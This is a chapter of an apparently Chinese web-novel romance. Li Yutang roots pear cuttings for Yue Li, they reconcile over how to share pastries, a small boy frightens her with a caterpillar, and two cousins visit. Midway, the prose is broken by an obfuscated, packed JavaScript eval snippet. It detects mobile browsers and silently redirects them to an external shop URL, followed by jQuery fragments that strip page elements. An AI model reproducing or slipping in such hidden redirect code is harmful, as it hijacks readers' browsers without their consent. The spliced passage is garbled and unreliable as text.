李玉棠带上三根插穗走了,鸡蛋被他强行塞到了张春花手上,二伯一直不太喜欢他,他也没想白拿二伯娘家的东西。
到家后开始做朝食,之前剩的包子不够吃一顿的,他又烙了几个饼子,中午也可以吃。
把人都叫起来后,惯例洗漱梳头,今天岳梨和小眠儿都带了新的绢花,两人开开心心地站在水缸前照了好一会。
吃过饭,李玉棠挖了一撮箕泥巴回来,加入适量水,团出三个湿润的泥球,将插穗分别插进去,再用之前买糕点的油纸将泥球包上,放到墙角等待生根,过些日子看哪枝长势最好就留哪枝种在院子里。
“这是什么。”岳梨戳着其中一个泥球问。
“梨树枝。”李玉棠道。
“要种梨树呀。”岳梨有些惊喜,昨天她还在心里想呢,没想到今天他就准备上了,这就是所谓的心有灵犀吗?
“嗯,到时候在院子里就能看梨花了。”李玉棠道,又小心翼翼地问:“你会喜欢吗?”
岳梨偏偏头,原来他是为了自己,心里暖暖的,嘿嘿。
“很喜欢。”岳梨大力点头。
三个丑丑的泥球突然有了不一样的意义,她欣喜地摸了又摸,悄悄把玉皇大帝、王母娘娘、观世音菩萨等等她知道的所有神仙都求了个遍,希望他们保佑这三株插穗都好好长大。
“那你,还生气吗?”
“嗯?”
“就是昨天早上,我让你生气了,对不起。”
“哦,你知道错啦?”
“嗯,知道了。”
岳梨摸摸下巴,说:“那我问你,假如你只买了三块糕点,家里四个人,你要怎么分配?”
“......小眠儿和小宁儿一人一块,我和你分一块?”李玉棠试探着答,见她眯眼凝视自己,连忙改口:“我和你一人一块,他俩分另一块?”
岳梨不说话,李玉棠绞尽脑汁想该如何分配她才会满意,突然灵光一现:“要不用戥子称一下,看看它们有多重,然后......”
岳梨扑哧一声笑出来,揶揄道:“你干脆扔锅里加点水熬成糊糊,一人喝一碗得了。”
“这样也可以吗?”李玉棠睁大眼睛。
岳梨无奈摇头,道:“你傻啊,不知道再多买一块?”
李玉棠不好意思地垂下脑袋,没一会,也跟着笑了。
岳梨又说:“虽然我已经不生气了,但是你也要谨记,不要老把自己排在最后,什么好吃的呀好玩的呀也要记得给自己留一份,知道吗?”
李玉棠点头,见岳梨下巴上也粘上了泥,他掏出手帕下意识就想给她擦了。
岳梨征住,李玉棠的脸离她只有咫尺——眉眼锋利却不失少年气,鼻梁高.挺,唇形优美,不知道亲下去会怎么样......
咳咳,岳梨你个流氓,龌龊!
她不由自主地说:“玉米糖,你可真好看,简直貌比潘安。”
李玉棠停下给她擦泥,在脑海里搜寻,确认自己认识的人里没有一个叫潘安的。
她把自己和这个叫潘安的人比较,十之八九是因为和这个潘安熟识,且潘安是她四周最俊美的人。
他迟疑着问:“潘安,是你在那个世界认识的人吗?”
岳梨:“......不是,他是历史上很出名的一个美男子。”
李玉棠为自己刚刚的错误猜测感到窃喜,又因为自己没上过学堂,连历史上很出名的人都不知道,在她面前出了丑,心情瞬间低落下来,喃喃道:“我,我不知道。”
岳梨发现他的眼神骤然暗下去,知道自己说错了话,连忙补救:“嗐,其实也没有那么出名的,很多人都不知道他,我还是偶然听说的。再说了,知道他干啥,他又不会给我们钱花,你说是吧?”
李玉棠点点头,笑得有些勉强。
“妹妹,哥哥和姐姐在干什么呀?”小宁儿捉了一条肥肥的大虫子,兴高采烈地往屋里走,想给哥哥姐姐看。
“哥哥在摸姐姐的脸。”小眠儿围观了两人的一举一动,肯定地说。
“嘿嘿,我有好东西要给他们看。”小宁儿笑得憨憨。
小眠儿想都不用想就知道宁宁说的好东西是什么。
“姐姐,你看。”小宁儿举起自己好不容易捉到的虫子。
一条食指粗的大青虫突然出现在眼前,还扭动了几下身体彰显存在感,岳梨被吓得弹起,连退十几步,声音都在颤抖:“宝...宝...你...你可不...可以...去外面...外面玩...”
李玉棠的手还保持着伸出去的姿势,他见岳梨怕得发抖,迅速牵起小宁儿往后院走,嘴里安抚岳梨:“别怕,马上就好。”
小宁儿一只手捉着青虫,一只手被哥哥牵着,眼神迷茫,问李玉棠:“哥哥,姐姐怎么了呀?”
李玉棠将人带到后院,蹲下身说:“小宁儿,姐姐很怕虫子,以后捉了虫不要让姐姐看见好不好?”
小宁儿举起大青虫左看看右看看,心里喜欢得不得了,对岳梨害怕它这件事很是不解,问:“这么肥的虫虫都不喜欢吗?”
李玉棠说:“就像你不喜欢臭臭菜,姐姐也不喜欢虫虫,要是让你吃臭臭菜你开心吗?”
小宁儿使劲摇脑袋,说:“不开心。”
“所以不要捉虫虫给姐姐看,可以吗?”
“好吧,那我把虫虫给小鸡吃。”
“真乖。”
屋里,岳梨终于缓了过来,小眠儿牵着她坐下,小手在她后背一下一下拍着:“姐姐别怕哦,那个虫虫不咬人的。”
岳梨从小就怕那些没有骨头、在地上扭来扭去的软体虫,看一眼都要恶心好几天,小宁儿这一下着实把她吓得不轻,她问小眠儿为什么他这么喜欢捉虫子。
“给小鸡喂呀,它们本来这么小。”小眠儿双手比出一个鸡蛋大小的形状给岳梨看,“吃了虫虫就会长这么大。”说着手臂张开,向岳梨展示吃了虫的小鸡能长多大。
岳梨:......就算打激素也长不了这么大吧。
这时李玉棠牵着小宁儿走过来,小宁儿主动给岳梨道歉:“姐姐,我错了,我以后不捉虫虫吓你了。”
他的小脑袋低着,肩膀也垮下去,不安地对着手指。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144268|196356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
岳梨将小宁儿抱到腿上坐好,说:“没关系,姐姐已经不害怕了。”
李玉棠又询问了一遍,确定岳梨真的没事后才安心。
小宁儿这一茬算是将两人刚刚的谈话翻篇,今天李玉棠要上山去挖草药,告诉岳梨可以去大伯娘家玩。
屋外,李玉河和李玉兰推开院门走了近来。
“小~宁~宁~你~在~家~吗~”还没进屋,李玉河就怪叫起来,像是恐怖故事里的熊嘎婆。
李玉兰跳起来给了他脑袋一下,骂道:“娘说了叫你别惹小宁儿,每次都把他弄哭。”
李玉河被打习惯了,没有和妹妹计较,辩解道:“那还不是因为小宁宁太好玩了,我忍不住嘛。”
李玉兰又打了他一巴掌。
李玉棠朝门口看了一眼,叫两人进屋。
“二哥。”兄妹俩和他打招呼。
昨天何金夏和他们说二哥家里来了个漂亮姐姐,俩人很好奇,正巧李玉棠之前和李玉河约好了今天去挖草药,兄妹俩便结伴而来。
见到岳梨后,兄妹俩都停下了说话,盯着人看了好一阵才意识到不妥,赶忙收回视线。
“这是岳梨姐姐。”李玉棠给他们介绍。
“姐姐好。”兄妹俩喊道。
“这是我堂弟李玉河,堂妹李玉兰。”李玉棠对岳梨说。
岳梨回以微笑。
李玉河逮着小宁儿玩闹,咬他小脸戳他小肚子,小宁儿抵住他脑袋挣扎,看不下去的小眠儿跑过来一巴掌糊李玉河脸上,圆溜溜的大眼睛怒视他。
“好了好了,不闹了啊不闹了。”李玉河松开对小宁儿的禁锢,抓住小眠儿的手叭叭亲了两口,“好眠眠,乖眠眠。”
小眠儿嫌弃他,在他衣裳上擦干净手,朝他吐吐舌头,拉着小宁儿头也不回地跑了。
“你们玩,碗橱里有烙饼,饿了吃。”李玉棠装了两张饼和一壶水,带上需要的家什叫堂弟上山去。他们一行有五个人,一些名贵草药只在深山里生长,多几个人一起进山也多个照应。
岳梨和李玉兰互相打量,两人相差了五六岁,按理说三岁一代沟,六岁隔横沟,加上又不是一个世界的,应该不容易玩到一块。但李玉兰见这个陌生姐姐生得好看,心里欢喜,忍不住想要和她亲近,岳梨也被李玉兰身上的勃勃生机吸引,两人很快就坐在了一起,叽叽喳喳聊个不停。
“姐姐你是不知道我二叔他有多懒,有次二婶回娘家,他和三哥饭都懒得做,天天来我家蹭饭。这个也就算了,他们居然澡也不洗,隔老远都能闻到味。衣服也不洗,就堆在地上,二婶回去后,整整骂了两个时辰!”
“天呐,怎么这样啊。”
“还有还有,每次干活,二叔干不了多久就喊累要休息。三哥也是,说什么自己还小,干不了重活。然后活都留给二婶一个人干,我看见二婶都哭了!”
“啧啧啧,那二婶是怎么看上这个男人的啊?”
想起二婶的遭遇,李玉兰湿了眼角,她有些哽咽:“二婶...二婶她很可怜。”
任凭岳梨怎么打听,李玉兰都没有说出实情。